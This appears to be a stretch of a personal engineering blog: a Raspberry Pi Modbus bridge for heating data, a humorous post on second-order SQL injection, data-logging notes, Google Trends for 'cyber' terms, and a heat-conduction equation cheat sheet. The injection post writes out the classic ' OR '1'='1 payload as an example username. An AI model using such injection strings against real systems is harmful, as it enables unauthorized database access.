I update the values ‘internally’ using the setvalues method of the context, like this. Another option would be to create a client connecting to your own local server and writing to the registers.

In order to change the values while the Modbus server runs without interruption, Python threading comes in handy. The ‘context’ is a global object, and one thread constantly updates the values in an infinite loop, and the other thread is for running the actual TCP server. Using log.debug lets you follow the details of the communication on the server – and helps with sorting out any byte ordering issues 😉

On the CMI you configure the related inputs connecting to your Raspberry Pi Modbus server:

Configuration of Modbus inputs at the CMI. Input 1 is provided by the the PV inverter, inputs >= 10 by the Modbus server running on Raspberry Pi. Values are either ‘forwarded’ from the smart meter EM210 (via JSON), forwarded again from the PV inverter (just for comparison), or they are calculated. E.g. the direct consumption of PV power is calculated from the current PV ‘production’ and the power delivered to the grid as measured by the meter.

Currently the CMI reads the following from my ‘fake’ Modbus device:

Net electrical power measured by the smart meter: Total power for all three AC phases, and each phase separately (OBIS object model – “*2.8.0” and “*1.8.0”).

PV output power: The CMI also logs data from the PV inverter directly. This is a double Modbus hop ‘for fun’!

PV power used immediately and electrical power used in total in the building: Calculated from the smart meter’s output values (via JSON) and the PV inverter’s output (via Modbus).

PV utilization: The directly used PV power is related to either power consumed or power ‘generated’ right now. Over a season these values are ~30% (self-sufficiency quota) and ~35 (self-consumption quota).

Calculations based on the ‘current’ PV power should not be taken too seriously as you might encounter those alien “>100%” spikes. The default log files with 5-minute averages still makes sense.

To actually log these values to CMI’s log file and to use them as control input requires the configuration of a CAN input at the UVR, as described here.

The Babelfish is now translating from Modbus to Modbus, from JSON to Modbus, and from ‘internal calculations’ to Modbus – and it can be extended to translate from a foreign CAN bus to UVR’s in a sense.

Frequently asked question:

How can I log from the heat pump’s internal CAN bus to UVR16x2? It’s all CAN buses, why don’t you simply connect them instead of having a separate CAN logger installed on a Pi?

‘Connected to CAN bus’ does not necessarily mean that those devices speak the same dialect at all network levels of the protocol. While UVR uses CANopen, the heat pump’s CAN protocol is proprietary (though similar to CANopen). In addition, you might want to separate the control bus for the heat pump from your standard CAN bus. What if an exotic issue with one of the devices confuses the heat pump? I remember how an IP TV solution broke the CMI’s predecessor BL-NET, and the solution was to put the CMI into a different subnet, behind another router.

My Modbus Babel fish gathers the heat pump’s values from its internal can bus and saves them to a CSV file (… which is then fed to the SQL Server Kraken). The values could as well be served via my Modbus server.

The final glorious chain looks like this 🙂

  • CAN bus heat pump –> CAN sniffer on Raspberry Pi
  • Python Modbus Server on Raspberry Pi –> Modbus input on CMI
  • CAN output on the CMI –> CAN input on UVR16x2
  • –> UVR uses CAN input in a control function
  • –> CMI logs this value from the CAN bus ‘again’ –> into its log file

Unintended 2nd Order SQL Injection

Posted on by

Why I am not afraid of the AI / Big Data / Cloud powered robot apocalypse.

SQL order injection means to run custom SQL queries through web interfaces because the input to the intended query is not sanitized, like appending the infamous ‘ OR ‘1’=’1 to a user name or search term. It is 2nd order when the offending string comes from the database, not from user input. So you would for example register a new user that is named admin ‘ OR ‘1’=’1. If you want to play with that register at hackthebox.eu, download sqlmap, write your Python scripts.

I have accepted a benign version of 2nd order SQL injection as a fact of life. Our company name has an ampersand in it, and now and then the company name gets truncated at the ampersand. Very cautious IT systems don’t even accept this hacker company name.

But it seems the (AI / Big Data / cloud powered) security filters get better and better. A parcel service messed up delivery in an interesting way:

Item 1 was delivered to a wrong address – not related to us in way any, but contact’s first name was in the street name.

Item 2 was delivered to us, but the company name was  truncated to a single word – contact’s last name right before the ampersand.

Was this the time some backend systems got an update of their security filters? I also got a purchase order e-mail without an actual PO attachment, but the company name was  truncated at the ampersand.

Maybe it also helps that our location’s code changed three years ago. Hardly any organization could deal with the change without support tickets and hacks – big US-based data krakens as well as local suppliers. This will take a while – our IT department will have to setup your new zip code! … Says the company whose core business is shipping things, months after the release of the new zip code.

Google support was helpful, but it took me a lot of back and forth to get the zip code corrected in Google Maps. In the beginning they added to the new zip code to the street address as a workaround. The location shows the old code to this day – we are the only place with the ‘new’ ZIP code.

Making fun of these glitches is unfair. You rather recognize the exceptional error than the many digital processes that run flawlessly. As a network administrator you know this: People only notice you if things go wrong.

However, I’d appreciate if companies would be more humble. Every time I fight with a weird glitch in Big Corp’s systems I see their marketing messages on social media about this superior digital experience.

But …

Software and cathedrals are much the same – first we build them, then we pray
— Samuel T. Redwine Jr. [ref]

 

We build our computer (systems) the way we build our cities: over time, without a plan, on top of ruins.
— Ellen Ullman [ref]

 

A Color Box. Lost in Translation

Posted on by

It was that time again.

The Chief Engineer had rebuilt the technical room from scratch. Each piece of heavy equipment had a new place, each pipe and wire was reborn in a new incarnation (German stories here.)

The control system was turned upset down as well, and thus the Data Kraken was looking at its entangled tentacles, utterly confused. The fabric of spacetime was broken again – the Kraken was painfully reminded of its last mutation in 2016.

Back then a firmware update had changed the structure of log files exported by Winsol. Now these changes were home-made. Sensors have been added. Sensor values have been added to the logging setup. Known values are written to different places in the log file. The log has more columns. The electrical input power of the heat pump has now a positive value, finally. Energy meters have been reset during the rebuild. More than once. And on and on.

But Data Kraken had provided for such disruptions! In a classical end-of-calendar-year death march project its software architecture had been overturned 2016. Here is a highly illustrative ‘executive level’ diagram:

The powerful SQL Server Kraken got a little companion – the Proto Kraken. Proto Kraken proudly runs on Microsoft Access. It comprises the blueprint of Big Kraken – its DNA: a documentation of all measured values, and their eternal history: When was the sensor installed, at which position in the log file do you find its values from day X to day Y, when was it retired, do the values need corrections …

A Powershell-powered tentacle crafts the Big Kraken from this proto version. It’s like scientists growing a mammoth from fossils: The database can be rebuilt from the original log files, no matter how the file structure mutates over time.

A different tentacle embraces the actual functions needed for data analysis – which is Data Kraken’s true calling. Kraken consolidates data from different loggers, and it has to do more than just calculating max / min / totals / averages. For example, the calculation of the heat pump’s performance factor had to mutate over time. Originally energy values had been read off manually from displays, but then the related meters were automated. Different tentacles need to reach out into different tables at different points of time.

Most ‘averages’ only make sense under certain conditions: The temperature at different points in the brine circuits should only contribute to an average temperature when the brine circulation pump is active. If you calculate the performance factor from heat source and target temperature (using a fit function), only time intervals may contribute when the heat pump did actually run.

I live in fear of Kraken’s artificial intelligence – will it ever gain consciousness? Will I wake up once in a science fiction dystopia? Fortunately, there is one remaining stumbling block: We have not yet fully automated genetic engineering. How could that ever work? A robot or a drone trying to follow the Chief Engineer’s tinkering with sensor wiring … and converting this video stream into standardized change alerts sent to Data Kraken?

After several paragraphs laden with silly metaphors, I finally come to the actual metaphor in the title of this post. The

Color Box

Once you came up with a code name for your project, you cannot get it out of your head. That also happened to the Color Box (Farbenkastl).

Here, tacky tasteless multi-colored things are called a color box. Clothes and interior design for example. Or the mixture of political parties in parliament. That’s probably rather boring, but the Austrian-German term Farbenkastl has a colorful history: It had been used in times of the monarchy to mock the overly complex system of color codes applied to the uniforms of the military.

What a metaphor for a truly imperial tool: As a precursor to the precursor to the Kraken Database … I use the Color Box! Brought to me by Microsoft Excel! I can combine my artistic streak, coloring categories of sensors and their mutations. Excel formulas spawn SQL code.

The antediluvian 2016 color box was boring:

But trying to display the 2018 color box I am hitting the limit of Excel’s zooming abilities:

I am now waiting now for the usual surprise nomination for an Science & Arts award. In the meantime, my Kraken enjoys its new toys. Again, the metaphoric power of this video is lost in translation as in German ‘Krake’ means octopus.

(We are still working at automating PVC piping via the Data Kraken, using 3D printing.)

Cyber Something

Posted on by

You know you have become a dinosaur when you keep using outdated terminology. Everybody else uses the new buzz word, but you just find it odd. But someday it will creep also into your active vocabulary. Then I will use the tag cyber something, like stating that I work with cyber-physical systems.

But am I even right about the emergence of new terms? I am going to ask Google Trends!

I have always called it IT Security, now it is Cyber Security. I know there are articles written about the difference between Cyber Security and IT Security. However, when I read about Those 10 Important Things in Cyber Security, I see that the term is often used as a 1:1 replacement of what had been called IT Security. And even if you insist on them being different fields, the following Google Trends result would at least show that one has become more interesting to internet users.

I am also adding Infosec which I feel is also more ‘modern’ – or maybe only used specifically by community insiders.

cyber-security-it-security-infosec

Link: https://trends.google.com/trends/explore?date=today%205-y&q=Cyber%20Security,IT%20Security,Infosec

So Cyber Security is on the rise, but IT Security does is not yet on a decline. Infosec is less popular – and what about these spikes?

infosec

Link: https://trends.google.com/trends/explore?date=today 5-y&q=Infosec

This not what I expected – a sharp peak at the beginning of every June! This pattern rather reminds of searching for terms related to heating systems: Searches for heat pump peak in New Zealand every July – for obvious reasons. (Although it is interesting why only in NZ – I only zoomed in on NZ as it was the top region in the worldwide search on heat pump… But I digress!)

So I guess the spike is caused by one of the famous big IT Security Infosec conferences? Which one? I could not track it down unambiguously!

What about the non-abbreviated term – Information Security. Does it exhibit the same pattern?

information-security-infosec.png

Link: https://trends.google.at/trends/explore?date=today%205-y&q=Infosec,Information%20Security

Not at all. There is one negative spike in week 51 every year, and this pattern rather reminds me of the ‘holiday pattern’ I see in our websites’ statistics. Maybe that’s the one week in a year when also IT security Infosec people are on vacation?

Finally I want to cross-check the Cyber Physical and The Cyber in general:

Cyber Physical is not mainstream enough to show a trend…

cyber-physical

Link: https://trends.google.com/trends/explore?date=today%205-y&q=Cyber%20Physical

… and Cyber itself is again not at all what I expected!

cyber.png

Link: https://trends.google.com/trends/explore?date=today%205-y&q=Cyber

Mid of December every year we all search the The Cyber! Do the hackers attack every year when we are busy with shopping for presents or getting That Important Project done before End of Calendar Year?

Again I fail to google that one and only Cyber event in December – or maybe these spikes are all about Google bugs!

Epilogue / user manual: Don’t click on these links too often!

Heat Conduction Cheat Sheet

Posted on by

I am dumping some equations here I need now and then! The sections about 3-dimensional temperature waves summarize what is described at length in the second part of this post.

Temperature waves are interesting for simulating yearly and daily oscillations in the temperature below the surface of the earth or near wall/floor of our ice/water tank. Stationary solutions are interesting to assess the heat transport between pipes and the medium they are immersed in, like the tubes making up the heat exchanger in the tank or the solar/air collector.

Contents

~

Heat equation – conservation of energy [Top]

Energy is conserved locally. It cannot be destroyed or created, but it it is also not possible to remove energy in one spot and make it reappear in a different spot. The energy density η in a volume element can only change because energy flows out of this volume, at a flow density j (energy per area and time).

\frac{\partial \eta}{\partial t} + \frac{\partial \vec{j}}{\partial\vec{r}} = 0

In case of heat energy, the sensible heat energy ‘contained’ in a volume element is the volume times mass density ρ [kg/m3] times specific heat c [J/kgK] times the temperature difference in K (from a ‘zero point’). The flow of heat energy is proportional to the temperature gradient (with constant λ – heat conductivity [J/mK], and heat flows from hot to colder spots.

\rho c \frac{\partial T}{\partial t} + \frac{\partial}{\partial\vec{r}} (- \lambda \frac{\partial T}{\partial\vec{r}}) = 0

Re-arranging and assuming that the three properties ρ, c, and λ are constant in space and time, they can be combined into a single property called thermal diffusivity D

D = \frac{\lambda}{\rho c}

\frac{\partial T}{\partial t} = D \frac{\partial}{\partial\vec{r}} \frac{\partial T}{\partial\vec{r}} = D \Delta T

In one dimensions – e.g. heat conduction to/from an infinite plane –  the equation is

\frac{\partial T}{\partial t} = D \frac{d^{2} T}{d x^{2}}

~

1D solution – temperature waves in one dimension [Top]

I covered it already here in detail. I’m using complex solutions as some manipulations are easier to do with the exponential functions than with trigonometric functions, keeping in mind we are finally interested in the real part.

Boundary condition – oscillating temperature at the surface; e.g. surface temperature of the earth in a year. Angular frequency ω is 2π over period T (e.g.: one year)

T(t,0) = T_0 e^{i \omega t}

Ansatz: Temperature wave, temperature oscillating with ω in time and with to-be-determined complex β in space.

T(t,x) = T_0 e^{i \omega t + \beta x}

Plugging into 1D heat equation, you get β as a function of ω and the properties of the material:

i \omega = D \beta^2
\beta = \pm \sqrt{\frac{i \omega}{D}} = \pm \sqrt{i} \sqrt{\frac{\omega}{D}} = \pm (1 + i){\sqrt 2} \sqrt{\frac{\omega}{D}} = \pm (1 + i) \sqrt{\frac{\omega}{2D}}

The temperature should better decay with increasing x – only the solution with a negative sense makes sense, then T(\infty) = T_0 . The temperature well below the surface, e.g. deep in the earth, is the same as the yearly average of the air temperature (neglecting the true geothermal energy and related energy flow and linear temperature gradient).

Solution – temperature as function of space and time:

T(t,x) = T_0 e^{i \omega t - (1 + i) \sqrt{\frac{\omega}{2D}} x} = T_0 e^{i (\omega t - \sqrt{\frac{\omega}{2D}} x)} e^{-\sqrt{\frac{\omega}{2D}} x}

Introducing parameter k:

\sqrt{\frac{\omega}{2D}} = k

Concise version of the solution function:

T(t,x) = T_0 e^{i (\omega t - kx)} e^{-kx}

Strip off the real part:

Re(T(t,x)) = T_0 cos(\omega t - kx) e^{-kx}

Relations connecting the important wave parameters:

\tau = \frac {2 \pi}{\omega}
\lambda = \frac {2 \pi}{k}

~

‘Helpers’ for the 3D case (spherical) [Top]

Basic stuff

r = \sqrt{x^2 + y^2 + z^2}
\frac{\partial r}{\partial \vec{r}} = (\frac{\partial}{\partial x},\frac{\partial}{\partial y},\frac{\partial}{\partial z})\sqrt{x^2 + y^2 + z^2} = \frac{\vec{r}}{r}
\frac{\partial \vec{r}}{\partial \vec{r}} = (\frac{\partial}{\partial x},\frac{\partial}{\partial y},\frac{\partial z}{\partial z})(x,y,z) = 3
\Delta T = (\frac{\partial^2}{\partial x^2} + \frac{\partial^2}{\partial y^2} + \frac{\partial^2}{\partial z^2})T(r)

Inserting, to obtain a nicely looking Laplacian in spherical symmetry

\Delta T = \frac{\partial}{\partial\vec{r}} \frac{\partial}{\partial\vec{r}} T(\sqrt{x^2 + y^2 + z^2}) = \frac{\partial}{\partial\vec{r}} \frac{\partial r}{\partial\vec{r}} (\frac{dT}{dr}) = \frac{\partial}{\partial\vec{r}} (\frac{\vec{r}}{r} \frac{dT}{dr})
= \frac{3}{r} \frac{dT}{dr} - \frac{1}{r^2} \frac{\partial r}{\partial\vec{r}} \vec{r} \frac{dT}{dr} + \frac{\vec{r}}{r} \frac{\vec{r}}{r} \frac{d^2 T}{dr^2}
= \frac{3}{r} \frac{dT}{dr} - \frac{1}{r} \frac{dT}{dr}+ \frac{d^2 T}{dr^2} = \frac{2}{r} \frac{dT}{dr} + \frac{d^2 T}{dr^2}
= \frac{1}{r}(\frac{dT}{dr} + \frac{dT}{dr} + r \frac{d^2T}{dr^2}) = \frac{1}{r} \frac{d}{dr} (T + r \frac{dT}{dr}) = \frac{1}{r} \frac{d^2}{dr^2}(rT)

~

‘Helpers’ for the 2D case (cylindrical) [Top]

Basic stuff

r = \sqrt{x^2 + y^2}
\frac{\partial r}{\partial \vec{r}} = (\frac{\partial}{\partial x}
latex \frac{\partial}{\partial y})\sqrt{x^2 + y^2 } = \frac{\vec{r}}{r}$
\frac{\partial \vec{r}}{\partial \vec{r}} = (\frac{\partial}{\partial x}
\frac{\partial}{\partial y})(x,y) = 2
\Delta T = (\frac{\partial^2}{\partial x^2} + \frac{\partial^2}{\partial y^2})T(r)

Inserting, to obtain a nicely looking Laplacian in cylindrical symmetry

\Delta T = \frac{\partial}{\partial\vec{r}} \frac{\partial}{\partial\vec{r}} T(\sqrt{x^2 + y^2}) = \frac{\partial}{\partial\vec{r}} \frac{\partial r}{\partial\vec{r}} (\frac{dT}{dr})
= \frac{\partial}{\partial\vec{r}} (\frac{\vec{r}}{r} \frac{dT}{dr}) = \frac{2}{r} \frac{dT}{dr} - \frac{1}{r^2} \frac{\partial r}{\partial\vec{r}} \vec{r} \frac{dT}{dr} + \frac{\vec{r}}{r} \frac{\vec{r}}{r} \frac{d^2 T}{dr^2}
= \frac{2}{r} \frac{dT}{dr} - \frac{1}{r} \frac{dT}{dr}+ \frac{d^2 T}{dr^2} = \frac{1}{r} \frac{dT}{dr} + \frac{d^2 T}{dr^2} = \frac{1}{r} \frac{d}{dr} (r \frac{dT}{dr})

~

3D solution – temperature waves in three dimensions [Top]

Boundary condition – oscillating temperature at the surface of a sphere with radius R

T(t,R) = T_R e^{i \omega t}

Ansatz – a wave with amplitude decrease as 1/r. Why try 1/r? Because energy flow density is the gradient of temperature, and energy flow density would better decrease as 1/m2 .

T(t,r) = \frac{A}{r} e^{i \omega t + \beta r}

Plugging in, getting β

i\omega \frac{A}{r} e^{i \omega t + \beta r} = D \Delta T = \frac{D}{r} \frac{d^2}{dr^2}(rT)
= \frac{D}{r} \frac{d^2}{dr^2}(Ae^{i \omega t + \beta r}) = \frac{AD}{r} \beta^2 e^{i \omega t + \beta r}
i\omega = D \beta^2

Same β as in 1D case, using the decaying solution

T(t,r) = \frac{A}{r} e^{i \omega t + \beta r} = \frac{A}{r} e^{i (\omega t - kr)} e^{-kr}

Inserting boundary condition

T(t,R) = \frac{A}{R} e^{i \omega t + \beta R} = T_R e^{i \omega t}
\frac{A}{R} e^{\beta R} = T_R \Rightarrow A = T_R R e^{-\beta R}
T(t,r) = \frac{T_R R}{r} e^{-\beta R} e^{i\omega t + \beta r)} = \frac{T_R R}{r} e^{i\omega t + \beta(r-R)}
= \frac{T_R R}{r} e^{i(\omega t - k (r-R))}e^{-k(r-R))}

The ‘amplitude’ A is complex as β is complex. Getting the real part – this is what you would compare with measurements:

Re (T(t,r)) = \frac{T_R R}{r} cos(\omega t - k (r-R))e^{-k(r-R))}

~

Comparison of surface energy densities: 1D versus 3D temperature waves [Top]

This is to estimate the magnitude of the error you introduce when solving an actually 3D problem in only one dimension; replacing the curved (spherical) surface by a plane.

One dimension – energy flow density is just a number:

(t,x) = - \kappa \frac{dT}{dx} = - \kappa \beta T_0 e^{i \omega t + \beta x}

Real part of this, at the surface (x=0)

Re(j(t,0)) = - \kappa T_0 Re(\beta e^{i \omega t}) = - Re((-k -ik) \kappa T_0 e^{i \omega t})
= \kappa T_0 k (cos(\omega t) - sin(\omega t)) = \kappa T_0 k \sqrt{2} (cos(\omega t)\frac{1}{\sqrt{2}} - sin(\omega t))\frac{1}{\sqrt{2}})
= \kappa T_0 k \sqrt{2} (cos(\omega t)\cos(\frac{\pi}{4} - sin(\omega t))\sin(\frac{\pi}{4}) = \kappa T_0 k \sqrt{2} cos(\omega t + \frac{\pi}{4})

How should this be compared to the 3D case? The time average (e.g. yearly) average is zero, to one could compare the average value for half period, when the cosine is positive or negative (‘summer’ or ‘winter’ average). But then, you can as well compare the amplitudes.

Introducing new parameters

l = \frac{1}{k}
j_{amp} = \frac{\kappa T_0}{l}

3D case: Energy flow density is a vector

\vec{j}(t,\vec{r}) = -\kappa \frac{\partial T}{\partial \vec{r}} = -\kappa \frac{\partial}{\partial \vec{r}} \frac{T_R R}{r} e^{i\omega t + \beta(r-R)}
= -\kappa T_R R e^{i\omega t} [-\frac{1}{r^2} \frac{\vec{r}}{r} e^{\beta(r-R)} + \frac{1}{r} \beta \frac{\vec{r}}{r} e^{\beta(r-R)} ]
= \kappa T_R R e^{i\omega t} e^{\beta(r-R)} \frac{\vec{r}}{r} [\frac{1}{r^2} - \frac{\beta}{r} ]
= \frac{\vec{r}}{r} \kappa \frac{T_R R}{r} e^{-k(r-R)} e^{i(\omega t - k(r-R))} [\frac{1}{r} + k + ik]

The vector points radially of course, its absolute value is

j(t,r)= \kappa \frac{T_R R}{r} e^{-k(r-R)} e^{i(\omega t - k(r-R))} [\frac{1}{r} + k + ik]

At the surface of the sphere the ‘ugly part’ is zero as

\vec{r} = \vec{R}
r = R
k(r-R) = 0

Real part:

Re(j(t,r)) = \kappa T_R Re (e^{i(\omega t} [\frac{1}{R} + k + ik] )
= \kappa T_R [(\frac{1}{R} + k) cos(\omega t) - k sin(\omega t) ]
= \kappa T_R [k \sqrt{2} cos(\omega t + \frac{\pi}{4}) + \frac{1}{R} cos(\omega t)]

Here, I was playing with somewhat realistic parameters for the properties of the conducting material. If the sphere has a radius of a few meters, you can ‘compensate for the curvature’ by tweaking parameters and obtain a 1D solution in the same order of magnitude.

Temporal change –  there is a ‘base’ phase different between temperature and energy flow of (about) π/4 which is also changed by introducing curvature. I varied ρ,c, and λ with the goal to make the j curves overlap as much as possible. It is sufficient and most effective to change specific heat only. If the surface is curved, energy ‘spreads out more’. So to make it ‘as fast as’ the 3D wave you need to compensate by a giving it a higher D.

I did not bother to shift the temperature to, say, 10°C as a yearly average. But this is just a linear shift tat will not change anything else – 0°C is arbitrary.

~

1D stationary solution – plane [Top]

Stationary means, that nothing changes with time. The time derivative is zero, and so is the (spatial) curvature:

\frac{\partial T}{\partial t} = 0 = D \frac{d^{2} T}{d x^{2}}

The solution is a straight line, and you need to know the temperature at two different points. Indicating the surface x=0 again with 0 and the endpoint x_E with E, and using the definition of j in terms of temperature gradient and distance from the surface (x_E – 0 = Δx).

|j(x = 0)| = \lambda |\frac{dT}{dx}| = \lambda \frac{|T_E - T_0|}{x_E} = \lambda \frac{|T_E - T_0|}{\Delta x}$

~

3D stationary solution- sphere [Top]

The time derivative is zero, so the Laplacian is zero:

\frac{\partial T}{\partial t} = 0 = \Delta T(t, r) = \frac{1}{r} \frac{d^2}{dr^2}(rT)

Ansatz, guessing something simple

T(r) = \frac{A + Br}{r} = \frac{A}{r} + B

Boundary conditions, as for the 1D case:

T(R_0) = T_0
T(R_E) = T_E

Plugging in – getting functions for all r:

T(r) = \frac{1}{R_0 - R_E} [R_E T_E(\frac{R_0}{r} - 1) + R_0 T_0 (1 - \frac{R_E}{r}]

|j(r)| = \lambda \frac{1}{R_0 - R_E} \frac{1}{r^2} [R_E T_E R_0 - R_0 T_0 R_E ]

At the surface:

|j(R_0)| = \lambda \frac{1}{R_0 - R_E} \frac{R_E}{R_0} [T_E - T_0 ]

~

2D stationary solution – cylinder, pipe [Top]

Cylindrical Laplacian is zero

\frac{1}{r} \frac{d}{dr} (r \frac{dT}{dr}) = 0

Same boundary conditions, plugging in

r \frac{dT}{dr} = A
dT = A \frac {dr}{r}

\int_{T}^{T_0} dT = A \int_{R_0}^{r} \frac {dr}{r}
T(r) = T_0 + A \ln{(\frac{r}{R_0})} = T_0 + A (\ln{r} - \ln{R_0})
T(R_E) = T_E = T_0 + A \ln{(\frac{R_E}{R_0})}
A = \frac{T_E - T_0}{\ln{(\frac{R_E}{R_0})}}

Solutions for temperature and energy flow at any r:

T(r) = T_0 + (T_E - T_0) \frac{\ln{(\frac{r}{R_0})}}{\ln{(\frac{R_E}{R_0})}}
|\vec{j(r)}| = |\frac {1}{r} \lambda \frac{T_E - T_0}{\ln{(\frac{R_E}{R_0})}}|

Expressing r in terms of distance from the surface, \Delta  r = r - R_0

|\vec{j(r)}| = |\frac {1}{\Delta r + R_0} \lambda \frac{T_E - T_0}{\ln{(\frac{R_1}{R_0})}}|

~

Comparison of overall heat flow: 1D versus 2D [Top]

j is the energy flow per area, and the area traversed by the flow depends on geometry. in the 1D case the area is always the same area, equal to the area of the plane. For a cylinder, the area increases with r.

The integrated energy flow J for a plate with area F is

J_{Plate} = F \lambda \frac{|T_E - T_0|}{\Delta x}

If the two temperatures are given, J decreases linearly with increasing thickness of the cylindrical ‘shell’, e.g. a growing layer of ice.

For a cylinder of length l the energy flow J is…

J_{Cyl} = 2 \pi l r |\frac {1}{r} \lambda \frac{T_E - T_0}{\ln{(\frac{R_E}{R_0})}}|
= 2 \pi l \lambda |\frac{T_E - T_0}{\ln{(\frac{R_E}{R_0})}}| \par

Factor r has been cancelled, and the for given temperatures J is only decreasing linearly with increasing outer radius R_E. That’s why vendors of plate heat exchangers (in vessels with phase change material) worry more about a growing layer of sold material than user for e.g. ‘ice on coil’ I quoted a related research paper on ‘ice storage powered’ heat pump system in this post – they make exactly this point and provide some data. In addition to conduction also convection at both sides of the heat exchanger should be taken into account, too, in a ‘serial connection’ of heat transferring components.